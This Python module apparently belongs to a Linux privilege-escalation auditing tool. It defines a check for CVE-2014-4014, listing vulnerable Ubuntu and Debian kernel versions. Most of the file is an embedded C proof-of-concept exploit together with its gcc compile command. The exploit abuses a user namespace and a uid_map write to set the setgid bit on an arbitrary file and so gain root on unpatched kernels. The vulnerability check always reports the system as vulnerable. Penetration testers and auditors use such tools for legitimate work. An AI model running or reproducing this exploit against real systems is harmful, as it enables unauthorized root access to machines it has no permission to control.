"""
https://github.com/SecWiki/linux-kernel-exploits/tree/master/2014/CVE-2014-4014
"""
import os
from exploits.exploit import LinuxExploit
from src.kernels import KernelWindow
from constants import *


class CVE20144014(LinuxExploit):
	def __init__(self, playground_path=PLAYGROUND_PATH):
		LinuxExploit.__init__(self)
		self.name = "CVE20144014"
		self.formatted_name = "CVE-2014-4014"
		self.e_type = "linux"
		self.brief_desc = "`chmod` restriction bypass allows users to get root before 3.14.8"
		self.reliability = HIGH_RELIABILITY
		self.vulnerable_base = KernelWindow(GENERIC_LINUX, BASE_VULNERABLE, 0, 0, 0, 3, 14, 8)
		self.vulnerable_kernels = [
			KernelWindow(UBUNTU_13, VERSION_VULNERABLE, 0, 0, 0, 3, 11, 0, highest_patch_level="3.11.0-26.45"),
			KernelWindow(UBUNTU_12, VERSION_VULNERABLE, 0, 0, 0, 3, 13, 0, highest_patch_level="3.13.0-35.62~precise1"),
			KernelWindow(UBUNTU_14, VERSION_VULNERABLE, 0, 0, 0, 3, 13, 0, highest_patch_level="3.13.0-35.62"),
			KernelWindow(UBUNTU_GENERIC, BASE_VULNERABLE, 0, 0, 0, 3, 11, 0),
			KernelWindow(DEBIAN_8, VERSION_VULNERABLE, 0, 0, 0, 3, 14, 7, highest_patch_level="3.14.7-1"),
			KernelWindow(DEBIAN_GENERIC, BASE_VULNERABLE, 0, 0, 0, 3, 14, 7),
		]
		self.exploit_kernels = [

		]
		self.playground_path = playground_path
		self.exploit_source_file_name = "{}.c".format(self.name)
		self.source_c_path = os.path.join(self.playground_path, self.exploit_source_file_name)
		self.compilation_path = os.path.join(self.playground_path, self.name)
		self.compilation_command = "gcc -o {} {}".format(self.compilation_path, self.source_c_path)
		self.exploit_command = self.compilation_path
		self.exploit_source = """
/**
 * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
 *
 * Vitaly Nikolenko
 * http://hashcrack.org
 *
 * Usage: ./poc [file_path]
 *
 * where file_path is the file on which you want to set the sgid bit
 */
#define _GNU_SOURCE
#include <sys/wait.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <string.h>
#include <assert.h>

#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];

struct args {
    int pipe_fd[2];
    char *file_path;
};

static int child(void *arg) {
    struct args *f_args = (struct args *)arg;
    char c;

    // close stdout
    close(f_args->pipe_fd[1]);

    assert(read(f_args->pipe_fd[0], &c, 1) == 0);

    // set the setgid bit
    chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);

    return 0;
}

int main(int argc, char *argv[]) {
    int fd;
    pid_t pid;
    char mapping[1024];
    char map_file[PATH_MAX];
    struct args f_args;

    assert(argc == 2);

    f_args.file_path = argv[1];
    // create a pipe for synching the child and parent
    assert(pipe(f_args.pipe_fd) != -1);

    pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args);
    assert(pid != -1);

    // get the current uid outside the namespace
    snprintf(mapping, 1024, "0 %d 1\\n", getuid());

    // update uid and gid maps in the child
    snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map", (long) pid);
    fd = open(map_file, O_RDWR); assert(fd != -1);

    assert(write(fd, mapping, strlen(mapping)) == strlen(mapping));
    close(f_args.pipe_fd[1]);

    assert (waitpid(pid, NULL, 0) != -1);
}
"""


	def determine_vulnerability(self):
		color_print("\t[*] checking exploitation prerequisites for {}".format(self.name), color="blue")
		# if kernel matches...it should be vulnerable
		color_print("\t[-] system appears to be vulnerable to {}".format(self.name), color="green")
		return True

	def exploit(self):
		color_print("\t[!] this exploit requires manual interaction ({})".format(self.source_c_path), color="red")
		exit(0)
